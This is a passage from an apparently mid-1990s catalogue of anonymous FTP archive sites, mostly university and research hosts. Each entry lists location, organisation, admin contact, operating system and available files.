25-Jan-95 +Source : +Alias : +Admin : +Organ : University of New Brunswick, , New Brunswick, CS dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://jupiter.sun.csd.unb.ca/ +Comment: +Files : camping; cfes; comptroller.info; crash; DOS tcp/ip; games; graphics; + Internet info; MacTCP; MVSlpd; NBnet; OS/2; recipes; Sun; + weather maps; Windows; Winsock; WWW + +Site : kalikka.jyu.fi +Country: Finland +GMT : +2 +Date : 06-Jan-94 +Source : Archive-name: games/roguelike; old ftp-list +Alias : +Admin : +Organ : +Server : +System : Unix (System V Release 4.0) +URL : ftp://kalikka.jyu.fi/ +Comment: +Files : Conquer; Xconquer (Roguelike game) + +Site : kampi.hut.fi +Country: Finland +GMT : +2 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Helsinki University of Technology, Helsinki +Server : +System : Unix +URL : ftp://kampi.hut.fi/ +Comment: max. 12 foreign users; mostly stuff from the US, link to the US + is 56Kb so don't use this if you're from the US; special access + features: see /README +Files : DES routines (unrestricted); GNU pascal + +Site : karron.med.nyu.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : old ftp-list +Alias : mcard27.med.nyu.edu +Admin : karron@nyu.edu (Dan Karron) +Organ : New York University, New York, New York, Medical Center +Server : +System : Unix (Irix 4.0.5) +URL : ftp://karron.med.nyu.edu/ +Comment: see the file DESCRIPTIONS for an index +Files : loose files in /pub, probably SGI related; Pix + +Site : kekule.osc.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Ohio Supercomputer Center, Columbus, Ohio +Server : +System : Unix +URL : ftp://kekule.osc.edu/ +Comment: +Files : mindtool; psi88; kinetics2; basis + +Site : kermit.columbia.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : MODERxx.ZIP; VAX Software list; old ftp-list +Alias : watsun; watsun.cc.columbia.edu +Admin : ftp-bugs@columbia.edu, kermit@columbia.edu (Frank da Cruz) +Organ : Columbia University, New York, New York, + Academic Information Systems +Server : +System : Unix +URL : ftp://kermit.columbia.edu/ +Comment: user 'ftp' can be used instead of 'anonymous' +Files : Kermit (home); IBM TCP/IP mods; Packet drivers; PC fonts; + RFC1395 bootp server; MM Mail manager; C-Command parsing + package; new VMS make; deejay backup system; VMS software + +Site : kiawe.soest.hawaii.edu +Country: USA +GMT : -10 +Date : 10-Sep-94 +Source : sgi/anonftp/list +Alias : +Admin : +Organ : University of Hawaii, Honolulu, Hawaii, + Satellite Oceanography Laboratory +Server : +System : Unix +URL : ftp://kiawe.soest.hawaii.edu/ +Comment: several user public directories under /pub +Files : hmr1; SGI (/pub/gmt); Sun + +Site : killington.dartmouth.edu +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Dartmouth College +Server : +System : Unix +URL : ftp://killington.dartmouth.edu/ +Comment: Problem: I/O error on network device; all anonymous transactions are + logged +Files : sunchip + +Site : kilroy.jpl.nasa.gov +Country: USA +GMT : -8 +Date : 29-Nov-94 +Source : chrisl@seds.lpl.arizona.edu (Chris Lewicki) {posting} +Alias : +Admin : root@kilroy.jpl.nasa.gov +Organ : NASA - Jet Propulsion Laboratory, Pasadena, California +Server : +System : Unix +URL : ftp://kilroy.jpl.nasa.gov/ +Comment: major warning: it's a felony to even try to access this system + unauthorized [major warning.. won't repel hackers... ] +Files : D70; hamradio; newsarchive; newsreader; space (elements, JPL, + spacecraft) + +Site : konrad.ruc.dk +Country: Denmark +GMT : +1 +Date : 30-Oct-94 +Source : mmf.ruc.dk +Alias : +Admin : kf@mmf.ruc.dk +Organ : Roskilde Universitetscenter (University of Roskilde), Roskilde +Server : +System : Netware (PC fileserver) +URL : ftp://konrad.ruc.dk/ +Comment: successor of mmf.ruc.dk (renamed?); home directory: /DATA; read + README.KF for details +Files : Novell utils from KF soft: aset, difcpy, ncapt, nlogin, niceph, + sacct, sgprop, winini + +Site : krypton.arc.nasa.gov +Country: USA +GMT : -8 +Date : 22-Dec-94 +Source : VAX Software List +Alias : +Admin : +Organ : NASA - Ames Research Center, Mountain View, California +Server : +System : VAX/VMS running MultiNet +URL : ftp://krypton.arc.nasa.gov/ +Comment: default directory: SYS$UTILITY:[PUB] +Files : directory not found [might be an obsolete site or a temporary + problem] + +Site : ksuvm.ksu.edu +Country: USA +GMT : -6 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Kansas State University, , Kansas, Computing Services +Server : +System : VM/CMS +URL : ftp://ksuvm.ksu.edu/ +Comment: directories: VMTOOLS, OVMTOOLS, PCSIG, PCSOFT, MACSOFT; + default directory: * 301 +Files : VM/CMS tools (VMTOOLS: 1992 VM Workshop Tools Tape and Waterloo + Mods Tape, OVMTOOLS: 1991 VM Workshop Tools Tape and Waterloo + Mods Tape); PCSIG (PCSIG: zipped disks 1-2845); small set of + useful PC software (PCSOFT); small set of useful Mac software + (MACSOFT) + +Site : kth.se +Country: Sweden +GMT : +1 +Date : 17-Apr-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : Unix (SunOS 4.1) +URL : ftp://kth.se/ +Comment: 'unsupported' directory may contain more +Files : china.se; KTH; MultiG; SCIX; Sendmail w/ida; TeX + +Site : kuhub.cc.ukans.edu +Country: USA +GMT : -6 +Date : 15-Dec-94 +Source : old ftp-list +Alias : +Admin : sloane@kuhub.cc.ukans.edu +Organ : University of Kansas, , Kansas +Server : cbipserv@kuhub.cc.ukans.edu +System : VAX/VMS running Multinet +URL : ftp://kuhub.cc.ukans.edu/ +Comment: default directory: DUA8:[ANON_FTP] +Files : ANU News; autologout; consult; hoyle; kanren; kermit; lynx; LZW; + patch; virus; VMS + +Site : kum.kaist.ac.kr +Country: South Korea +GMT : +8 +Date : 09-Feb-94 +Source : old ftp-list +Alias : han.kaist.ac.kr +Admin : +Organ : KAIST +Server : +System : Unix (SunOS 4.1) +URL : ftp://kum.kaist.ac.kr/ +Comment: +Files : archie; ked; netinfo; SDN info; Sun patches + +Site : kunpu7.psych.kun.nl +Country: Netherlands +GMT : +1 +Date : 15-Dec-94 +Source : mikescott@ix.netcom.com (Michael Scott) {posting} +Alias : +Admin : +Organ : Katholieke Universiteit Nijmegen (Catholic University of Nijmegen), + Nijmegen, Psychology dept. +Server : +System : Unix +URL : ftp://kunpu7.psych.kun.nl/ +Comment: +Files : BIOMCH-L; camarc; handwriting; isb; nici; psychology of science; + SCRIB-L; UNIPEN + +Site : kurosawa.unice.fr +Country: France +GMT : +1 +Date : 09-Feb-94 +Source : marc@ecu.unice.fr (Marc Monticelli) {posting} +Alias : +Admin : marc@kurosawa.unice.fr +Organ : Universite de Nice (University of Nice), Nice, Institut Non Lineaire + de Nice (Nice Non-Linear Institute) +Server : +System : Unix +URL : ftp://kurosawa.unice.fr/ +Comment: +Files : fractal compression work of Yuval Fisher (INLS University of + California, San Diego); fractals (images and software) + +Site : kuso.shef.ac.uk +Country: UK +GMT : 0 +Date : 25-Jan-95 +Source : belal@sco.com (Bela Lubkin> {posting} +Alias : pubkuso.shef.ac.uk +Admin : cck@kuso.shef.ac.uk +Organ : University of Sheffield, Sheffield, Centre for Japanese Studies, + KUSO (Kanji User Service Operation) +Server : +System : Unix (SCO, PC) +URL : ftp://kuso.shef.ac.uk/ +Comment: read the READTHIS.NOW file, it's worth it ;-); 1Gb, 20Mb RAM; + information about Japanese science, technology, jobs in any + disciple, fj.* newsgroups, software for processing Japanese + on MS-DOS, Windows, Mac, Unix and OS/2 and SCO Xenix and Unix + software and newsgroups relating to these subject areas, also + misc areas incl. packet drivers and Novell +Files : Bibliofile; FAQs; Japanese; news (kept 30-45 days, read with JWP); + SCO (mirrors of anomaly.sbs.risc.net and soils.agron.iastate.edu); + USROBO + +Site : labrea.stanford.edu +Country: USA +GMT : -8 +Date : 17-Apr-94 +Source : old ftp-list +Alias : +Admin : action@labrea.stanford.edu +Organ : Stanford University, Menlo Park, California, CS dept. +Server : +System : Unix +URL : ftp://labrea.stanford.edu/ +Comment: +Files : avg2; bgc; cap; cmm; coda; Concrete Math errata; cs; csd-info; + ctwill; cweb; dict; emlp; EmTeX; fax; GNU; hunt; husbands; japan; + lookup; lp; mdw; news; p2c.shar; patch; rio; sbprolog; sgb; shap; + siam; stinfo; Sun; TeX sources (official); VMS; WWW; X11; X11R5 + +Site : lager.geo.brown.edu +Country: USA +GMT : -5 +Date : 25-Jan-95 +Source : srl.org +Alias : +Admin : +Organ : Brown University, Providence, Rhode Island, Planetary Geology dept. +Server : http://lager.geo.brown.edu:8080/ +System : Unix +URL : ftp://lager.geo.brown.edu/ +Comment: access somewhat limited on weekdays EST (personal workstation) +Files : aubele; mirror of srl.org; planetary geology (docs, images, src); + plutchak; virtual pub (beer, recipes, tastings); wx (weather images, + unused) + +Site : lamont.ldeo.columbia.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : lamont.ldgo.columbia.edu +Admin : +Organ : Columbia University, New York, New York, Lamont-Doherty Earth + Observatory +Server : +System : Unix +URL : ftp://lamont.ldeo.columbia.edu/ +Comment: if you use this site to transfer GIF or JPEG pictures or + copyrighted software you will be denied future access. +Files : parse; Sunacct; PKunzip; Boeing graph + +Site : lancaster.andrew.cmu.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : old ftp-list +Alias : +Admin : dc0m+@andrew.cmu.edu +Organ : Carnegie-Mellon University, Pittsburgh, Pennsylvania, Andrew Project +Server : +System : Unix +URL : ftp://lancaster.andrew.cmu.edu/ +Comment: +Files : bootp; CMU PCIP; hostmib; Info-Appetalk; mibs; PPP; SMP; SNMP-dist; + telnetd + +Site : laplace.stat.ucla.edu +Country: USA +GMT : -8 +Date : 23-May-94 +Source : +Alias : +Admin : +Organ : University of California - Los Angeles, Los Angeles, California, + Statistics Dept. +Server : +System : Unix (System V Release 4.0) +URL : ftp://laplace.stat.ucla.edu/ +Comment: +Files : apps; archives; code; courses; data; doc; Lisp; meetings; papers; + TeX + +Site : larry.mcrcim.mcgill.edu +Country: Canada +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : McGill University +Server : +System : Unix +URL : ftp://larry.mcrcim.mcgill.edu/ +Comment: +Files : RFCs; X; local nameserver; games; scred (sun bitmap editor) + +Site : laura.rau.ac.za +Country: South Africa +GMT : 0 +Date : 19-Feb-95 +Source : ftp.rau.ac.za +Alias : +Admin : oaw@rkw.rau.ac.za +Organ : Rand Afrikaans University +Server : +System : Unix (SunOS 4.1) +URL : ftp://laura.rau.ac.za/ +Comment: MODs from ftp.rau.ac.za +Files : demos; Linux (games); music (MODs (alternative, depeche mode, + famous, jazz, jean michel jarre, misc, peaceful, piano, techno), + other, s3m); netscape + +Site : legacy.gsfc.nasa.gov +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : oneel@athena.gsfc.nasa.gov (Bruce O'Neel) {posting} +Alias : +Admin : request@legacy.gsfc.nasa.gov +Organ : NASA - Goddard Space Flight Center, Greenbelt, Maryland, High + Energy Astrophysics Science Archival Research Center (HEASARC) +Server : gopher +System : Unix +URL : ftp://legacy.gsfc.nasa.gov/ +Comment: If you have problems entering from a VAX using UCX, use a '-' in + front of your e-mailaddress; if you want to copy a large amount + (>100Mb), notify the admins, so they can minimize the impact on + other users; 200000 files over 6 machines over 18Gb in harddisks and + optical jukeboxes: X-Ray and Gamma-Ray astrophysics data and tools +Files : Ariel5; asca; ascadata; bbxrt; compton; compton_data; cosb; + Einstein (MPC 8-channel spectral data); euve; exosat; exosat_data; + fits_info; ginga; heao1; heao3; HEASARC; IRAS; NRAO; oso8; rosat; + rosat_data; sas2; sas3; sed; vela5b; www; xte + +Site : legend.cma.fr +Country: France +GMT : +1 +Date : 30-Oct-94 +Source : Netrek FAQ +Alias : cma.cma.fr [?] +Admin : +Organ : CMA Ecole des Mines, Sophia-Antipolis +Server : +System : Unix +URL : ftp://legend.cma.fr/ +Comment: transfers are logged; write in incoming if connected to cma.cma.fr +Files : alcom.mac; dbm; docs; esterel; papers; rc; SMS-Montreal; Sun; verif; + xtrek; zolesio + +Site : leif.thep.lu.se +Country: Sweden +GMT : +1 +Date : 29-Oct-94 +Source : afc-faq +Alias : +Admin : ftp@leif.thep.lu.se +Organ : Lund University, Lund +Server : +System : Unix (Ultrix 4.3) +URL : ftp://leif.thep.lu.se/ +Comment: material related to High Energy Physics and Neural networks +Files : CBL; Jetnet (neural network prg in Fortran77); Lundprograms; MCPP; + misc; Preprints + +Site : lennon.itd.med.umich.edu +Country: USA +GMT : -5 +Date : 12-Feb-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : University of Michigan, Ann Arbor, Michigan, Medical Center +Server : +System : Netware 3.11 (PC fileserver) +URL : ftp://lennon.itd.med.umich.edu/ +Comment: working directory set to /public +Files : bdgtti; desktop; MS-DOS; Mac; maps; NT; papers; WWW + +Site : leon.nrcps.ariadne-t.gr +Country: Greece +GMT : +2 +Date : 17-Apr-94 +Source : old ftp-list +Alias : +Admin : postmaster@leon.nrcps.ariadne-t.gr +Organ : Ariadne +Server : +System : Unix (SunOS 4.1) +URL : ftp://leon.nrcps.ariadne-t.gr/ +Comment: directory: pub/maas_info +Files : chemistry; dialup; MaasInfo files; RFCs + +Site : lhc.nlm.nih.gov +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : U.S. National Institute of Health, , , National Library of Medicine, + LHC +Server : +System : Unix +URL : ftp://lhc.nlm.nih.gov/ +Comment: +Files : mkmf + +Site : liasun3.epfl.ch +Country: Switzerland +GMT : +1 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : simon@lia.di.epfl.ch (Simon Leinen) +Organ : +Server : +System : Unix (Sun) +URL : ftp://liasun3.epfl.ch/ +Comment: server can tar and (de)compress; uploads to /incoming, mail to + the admin +Files : graphics related programs and files + +Site : lib.stat.cmu.edu +Country: USA +GMT : -5 +Date : 17-Apr-94 +Source : +Alias : temper.stat.cmu.edu +Admin : +Organ : Carnegie-Mellon University, Pittsburgh, Pennsylvania, + Statistics dept. +Server : +System : Unix +URL : ftp://lib.stat.cmu.edu/ +Comment: STAT LIB master site +Files : apstat; asacert; asascs; blss; cm; cmlib; crab; datasets; designs; + disease; general; glim; griffiths-hill; ims Bulletin; jasadata; + jcgs; jqt; maps; master; meetings; minitab; multi; s-news; + sapaclisp; xlispstat + +Site : liberty.uc.wlu.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : +Alias : +Admin : +Organ : WL University +Server : +System : Unix +URL : ftp://liberty.uc.wlu.edu/ +Comment: +Files : charon; commerce; cslab; guitar; knox; lawlib; math; mma; NeXT; OS9; + signs + +Site : lick.ucsc.edu +Country: USA +GMT : -8 +Date : 13-Aug-94 +Source : old ftp-list +Alias : +Admin : postmaster@lick.ucsc.edu +Organ : University of California - Santa Cruz, Santa Cruz, California + Lick Observatory +Server : +System : Unix +URL : ftp://lick.ucsc.edu/ +Comment: Official anonymous ftp archive server of UCO/Lick Observatory; + connections and transfers are logged +Files : ccd; loel; printutil; RGgdi; ST; TeX; UCOSYB; vista; WWW + +Site : life.slhs.udel.edu +Country: USA +GMT : -5 +Date : 17-Apr-94 +Source : +Alias : +Admin : +Organ : University of Delaware, , Delaware +Server : +System : Unix +URL : ftp://life.slhs.udel.edu/ +Comment: +Files : almond; beagle; docs; interp; MS-DOS; principia; probchild; tierra + +Site : lifshitz.ph.utexas.edu +Country: USA +GMT : -6 +Date : 22-May-94 +Source : myers@vassar.edu (Eric Myers) +Alias : +Admin : myers@lifshitz.ph.utexas.edu (Eric Myers), + matt@helmholtz.ph.utexas.edu +Organ : University of Texas - Austin, Austin, Texas, Physics dept. (PH), + Center for Relativity +Server : +System : Unix (SunOS 4.1.4, Sun SPARC 1+) +URL : ftp://lifshitz.ph.utexas.edu/ +Comment: Master site for TeXsis (TeX macros for Physicists); most directories + have README files that are auto-displayed on entering the directory +Files : Atari; aviation; fortran; ghostscript for the atari; graphics; hg; + images (PS, sunicons); multidimensional fast fourier transform (fft); mwc; + Myer's ICTP lectures and related programs (/pub/graphics); plain TeX + goodies (/pub/tex); publicly available sources (/pub/src); qsp; + rcsin front end to rcs ci command; sounds; TeXsis macros for TeX + (/texsis); utseal + +Site : lightning.lcs.mit.edu +Country: USA +GMT : -5 +Date : 17-Apr-94 +Source : +Alias : +Admin : +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts, + Laboratory of Computer Sciences +Server : +System : Unix +URL : ftp://lightning.lcs.mit.edu/ +Comment: several loose files in /pub +Files : abort; ariel; arpa; atis; att; aud; BRILL; csr-dots; dend; entr; + espy; EXPO; limsi; midnight; mitre; nist; random; rms; shore; + sparcs; TechP; timit; utts; voyager; Zevaluate; + +Site : linus.mi.uib.no +Country: Norway +GMT : +1 +Date : 16-Jul-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : respl@mi.uib.no (Peder Langlo) +Organ : University of Bergen, Bergen, Math dept. +Server : +System : Unix (HP9000/375, HP-UX) +URL : ftp://linus.mi.uib.no/ +Comment: GIFS deleted by NSF cops [some moved to ftp.funet.fi e.g. the + fantasy gifs] +Files : calvin (graphics); movfiles; movie; schubert; skaug; XV + +Site : linux.ia.pw.edu.pl +Country: Poland +GMT : +1 +Date : 12-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : imzadi.ia.pw.edu.pl +Admin : +Organ : Technical University of Warsaw, Warsaw, + Institute of Automatic Control +Server : +System : Unix +URL : ftp://linux.ia.pw.edu.pl/ +Comment: +Files : docs; dos; kernel; Mosaic; net; netboot; NIS; Polish; Slackware; X11 + +Site : linuxftp.caltech.edu +Country: USA +GMT : -8 +Date : 25-Jan-95 +Source : antonyc@linuxftp.caltech.edu +Alias : +Admin : root@linuxftp.caltech.edu +Organ : California Institute of Technology, Pasadena, California +Server : http://linuxftp.caltech.edu/ fsp, nfs +System : Unix (Linux, PC) +URL : ftp://linuxftp.caltech.edu/ +Comment: max. 30 users +Files : calcode; dloads; DOS (misc, soss); Linux (caltech, GCC, Linus, + sunsite.unc.edu, tsx-11.mit.edu, vgamp, wordperfect, XFree86); nyet; + rc_simulator + +Site : lister.cc.ic.ac.uk +Country: UK +GMT : 0 +Date : 12-Feb-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Imperial College of Science, Technology and Medicine, London, CC +Server : +System : Unix +URL : ftp://lister.cc.ic.ac.uk/ +Comment: +Files : PC-elm; pem; prism; Win-elm; Win-gopher; Win-mime; X11 + +Site : litamiga.epfl.ch +Country: Switzerland +GMT : +1 +Date : 22-May-94 +Source : +Alias : +Admin : +Organ : Swiss Federal Institute of Technology -Lausanne (EPFL), Lausanne +Server : +System : Unix +URL : ftp://litamiga.epfl.ch/ +Comment: special 'uploader' account with no user limit, but without download + access; please restrict usage to 16:00-06:00 GMT +Files : Amiga; Aminet; Amix; + +Site : lll-crg.llnl.gov +Country: USA +GMT : -8 +Date : 17-Apr-94 +Source : sgi/anonftp/list +Alias : +Admin : +Organ : Lawrence Livermore National Labs, , California +Server : +System : Unix +URL : ftp://lll-crg.llnl.gov/ +Comment: probably been used for illegal purposes once: there_is_no_..., + you.R.monitored +Files : bugfix; lic; llnl; mailinglists; mcast; X11R5 + +Site : locke.ccil.org +Country: +GMT : +Date : 29-Oct-94 +Source : esr@snark.thyrsus.com (Eric Raymond) {posting} +Alias : +Admin : +Organ : CCIL +Server : +System : Unix +URL : ftp://locke.ccil.org/ +Comment: +Files : esr; randomness; retrocompilers: FOCAL, InterCal, PILOT, Trac + +Site : lotos.csi.uottawa.ca +Country: Canada +GMT : -5 +Date : 15-Dec-94 +Source : mikescott@ix.netcom.com (Michael Scott) {posting} +Alias : prgv.csi.uottawa.ca +Admin : jack@csi.uottawa.ca (Jacques Sincennes) +Organ : University of Ottawa, Ottawa, Ontario, CS dept, Lotos Group +Server : +System : Unix +URL : ftp://lotos.csi.uottawa.ca/ +Comment: +Files : Lotos; Open Distributed Processing (ODP) mailing list + +Site : lowell.edu +Country: USA +GMT : -5 +Date : 17-Apr-94 +Source : +Alias : uml.edu +Admin : +Organ : University of Massachusetts - Lowell, Lowell, Massachusetts +Server : +System : Unix +URL : ftp://lowell.edu/ +Comment: +Files : buie; dgs; f583w; galaxies; neptune; pupil; reduce; TeX; tscans; + vista; wagner; wfpc, wfpc2 + +Site : lpi.jsc.nasa.gov +Country: USA +GMT : -6 +Date : 23-May-94 +Source : +Alias : +Admin : +Organ : NASA - Johnson Space Center, , +Server : +System : VAX/VMS running Multinet +URL : ftp://lpi.jsc.nasa.gov/ +Comment: default directory: DUA2:[ANONYMOUS] +Files : AMLAMP; GDF; meetings + +Site : ls6-www.informatik.uni-dortmund.de +Country: Germany +GMT : +1 +Date : 10-Sep-94 +Source : pfeifer@ls6.informatik.uni-dortmund.de (Ulrich Pfeifer) {posting} +Alias : charly.informatik.uni-dortmund.de +Admin : +Organ : Universitaet Dortmund (University of Dortmund), Dortmund, CS dept. +Server : +System : Unix +URL : ftp://ls6-www.informatik.uni-dortmund.de/ +Comment: +Files : admin; docs; Emacs; FreeWAIS; games; hcibib; lang; LEDA; + Lucid-Emacs; Perl; PostScript; TeX; TREC; util; WAIS; Web; WWW; X11 + +Site : lsr.nei.nih.gov +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : sgi/anonftp/list +Alias : +Admin : +Organ : U.S. National Institute of Health, , , NEI +Server : +System : Unix (SunOS 4.1) +URL : ftp://lsr.nei.nih.gov/ +Comment: some loose files in /pub +Files : frdd; graphics; intel; mhc; mosis; nih; rex; xview 3.0 + +Site : ltisun.epfl.ch +Country: Switzerland +GMT : +1 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : Unix (System V Release 4) +URL : ftp://ltisun.epfl.ch/ +Comment: +Files : xconq + +Site : lumpi.informatik.uni-dortmund.de +Country: Germany +GMT : +1 +Date : 17-Apr-94 +Source : +Alias : +Admin : hermes@ls11.informatik.uni-dortmund.de (Ulrich Hermes), + gs@irb.informatik.uni-dortmund.de (Gerd Sokolies) +Organ : Universitaet Dortmund (University of Dortmund), Dortmund, ES/GA +Server : +System : Unix +URL : ftp://lumpi.informatik.uni-dortmund.de/ +Comment: unsecure service now. may be terminated at any time without prior + announcement +Files : biocomp; CA; EA; ES; GA; idl; idl-pvwave; Internet Resource Guide; + LCS; misc; refs; stat; tools + +Site : lupan.byu.edu +Country: USA +GMT : -7 +Date : 10-Sep-94 +Source : rose@bert.cs.byu.edu (John Rosenquist) {posting} +Alias : +Admin : rose@bert.cs.byu.edu (John Rosenquist) +Organ : Brigham Young University, , , +Server : +System : Unix +URL : ftp://lupan.byu.edu/ +Comment: Bolo (MACSTUFF/Bolo); directory 'site' +Files : + +Site : lurch.stanford.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Stanford University, Menlo Park, California +Server : +System : Unix (Ultrix 4.36) +URL : ftp://lurch.stanford.edu/ +Comment: +Files : + +Site : lustorfs.ldc.lu.se +Country: Sweden +GMT : +1 +Date : 06-Jan-94 +Source : old ftp-list +Alias : p6xje.ldc.lu.se +Admin : +Organ : Lund University, Lund +Server : +System : Novell NetWare 3.11 (PC fileserver) +URL : ftp://lustorfs.ldc.lu.se/ +Comment: +Files : MS-DOS; NCSA Telnet 2.2ds; networking (PC) + +Site : lut.fi +Country: Finland +GMT : +2 +Date : 22-May-94 +Source : Petri.Heinila@lut.fi (Petri Heinila) posting in + comp.infosystems.announce; old ftp-list +Alias : kannel.lut.fi +Admin : +Organ : Lappeenranta University of Technology, Lappeenranta +Server : +System : Unix +URL : ftp://lut.fi/ +Comment: also look at www.lut.fi +Files : PD sources modified for HP-UX; PC antivirus; uEmacs 3.10; local + research reports + +Site : lyapunov.ucsd.edu +Country: USA +GMT : -8 +Date : 25-Jan-95 +Source : +Alias : +Admin : mbk@inls1.ucsd.edu (Matt Kennel) +Organ : University of California - San Diego, San Diego, California, + Institute for Non-Linear Science +Server : +System : Unix +URL : ftp://lyapunov.ucsd.edu/ +Comment: max. 99 users; preprints and programs for non-linear dynamics, + signal processing and related subjects +Files : cal-state-stan; inls-ucsd; ncsu; special; univ-{adelaide, melbourne, + pitt, portland, wm, wuerzburg}; young-fractal + +Site : m2c.m2c.org +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : +URL : ftp://m2c.m2c.org/ +Comment: +Files : Archives for cavers mailing list + +Site : ma2s2.mathematik.uni-karlsruhe.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : +Organ : Universitaet Karlsruhe (University of Karlsruhe), Karlsruhe, + Math dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://ma2s2.mathematik.uni-karlsruhe.de/ +Comment: +Files : + +Site : maccs.dcss.mcmaster.ca +Country: Canada +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : Unix (SunOS 4.1) +URL : ftp://maccs.dcss.mcmaster.ca/ +Comment: +Files : GNU; fbm; PBMplus; Sun fixes + +Site : mace.cc.purdue.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Purdue University, West-Lafayette, Indiana, CC +Server : +System : Unix +URL : ftp://mace.cc.purdue.edu/ +Comment: +Files : + +Site : mach.cs.cmu.edu +Country: USA +GMT : -5 +Date : 22-May-94 +Source : +Alias : ernst.mach.cs.cmu.edu +Admin : +Organ : Carnegie-Mellon University, Pittsburgh, Pennsylvania, CS dept. +Server : +System : Unix +URL : ftp://mach.cs.cmu.edu/ +Comment: Filenames cannot begin with "/.."; user anon logged in +Files : FAQs; conferences; Mach kernel main archive site; src; sup; WWW + +Site : mackie.com +Country: USA +GMT : -8 +Date : 22-Nov-1994 +Source : gomackie@aol.com +Alias : +Admin : rick.vartian@mackie.com (Rick Vartian) +Organ : Mackie Designs Inc, Woodinville, Washington +Server : gopher.mackie.com +System : Macintosh (System 7.1, Quadra 610) +URL : ftp://mackie.com/ +Comment: Server provides all tech support files for Mackie Designs products. + Mackie Designs is a manufacturer of professional audio + mixing consoles for music and video production. + Most files are text and or graphic files specific to the + operation and or description of Mackie Designs mixers and + accessories. The server is in operation 24 hours per day + with system recycle events at 3Am and 3Pm for aprox 5 + minutes. Guest and annonymous access is permitted. +Files : Bulletins; Communications (BBS and net related Mac material); + MackieFiles: contractors, flowchart GIFs, graphics viewers, + MackieMOD, manuals, mixerapps, OTTO, product.lit, Q&A files, + rec.audio info, schematics, spec.sheets + +Site : maddog.llnl.gov +Country: USA +GMT : -8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Lawrence Livermore National Labs, , California +Server : +System : +URL : ftp://maddog.llnl.gov/ +Comment: Problem: I/O error on network device +Files : AWM X tutorial; PCP preprocessor & libraries; + Generic MCPI environment; UW for Mac; plot library + +Site : madhaus.utcs.utoronto.ca +Country: Canada +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Toronto, Toronto, Ontario +Server : +System : Unix (Sytem V Release 4.0) +URL : ftp://madhaus.utcs.utoronto.ca/ +Comment: +Files : Mac + +Site : maeglin.mt.luth.se +Country: Sweden +GMT : +1 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : ftp@maeglin.mt.luth.se +Organ : University of Lulee, Lulee +Server : +System : Unix +URL : ftp://maeglin.mt.luth.se/ +Comment: max. 10 users +Files : + +Site : magenta.me.fau.edu +Country: USA +GMT : -5 +Date : 17-Apr-94 +Source : +Alias : +Admin : saravan@magenta.me.fau.edu +Organ : +Server : +System : Unix +URL : ftp://magenta.me.fau.edu/ +Comment: +Files : ep-list + +Site : maggia.ethz.ch +Country: Switzerland +GMT : +1 +Date : 25-Jan-95 +Source : +Alias : +Admin : +Organ : ETH, Zurich +Server : +System : Unix (System V Release 4.0) +URL : ftp://maggia.ethz.ch/ +Comment: serveral loose files in /pub +Files : CSSP; inetray; kiwi; merz; PASE; PZZ; unibern; ZIP + +Site : mail.ncku.edu.tw +Country: Taiwan +GMT : +8 +Date : 15-Dec-94 +Source : hch@nctuccca.edu.tw (Chih-Hsien Huang) +Alias : +Admin : root@mail.ncku.edu.tw +Organ : National Cheng Kung University, Taiwan +Server : +System : Unix +URL : ftp://mail.ncku.edu.tw/ +Comment: +Files : et-word; gopher; graphics; guitar; Internet tools; LaTeX; Mac; + MBONE; Mosaic; MS-DOS; multimedia; NCKU-net-docs; news; OS; RFCs; + seminars; tools; Unix; X + +Site : mail.usfq.edu.ec +Country: Ecuador +GMT : -7 +Date : 13-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : gopher.usfq.edu.ec +Admin : +Organ : Universidad San Francisco de Quito (San Francisco University), Quito +Server : +System : MS-DOS (CWRU/NTA) +URL : ftp://mail.usfq.edu.ec/ +Comment: only interesting for .ec users I think [don't use it if you don't + really need it!] +Files : Quicktime + +Site : maluku.jou.utexas.edu +Country: USA +GMT : -6 +Date : 25-Jan-95 +Source : ftp.tenon.com +Alias : +Admin : victor@maluku.jou.utexas.edu (Victor Menayang) +Organ : +Server : fsp, gopher +System : Unix (MachTen 2.1 Professional, Mac LC III) +URL : ftp://maluku.jou.utexas.edu/ +Comment: mirror of ftp.tenon.com; +Files : Apple-Server; MachTen (apps, bug fixes, docs, mailing list archive, + ports, software, tech notes, tools, updates, upgrades); security; + Tenon + +Site : mammoth.cs.unr.edu +Country: USA +GMT : -7 +Date : 06-Jan-94 +Source : old ftp-list +Alias 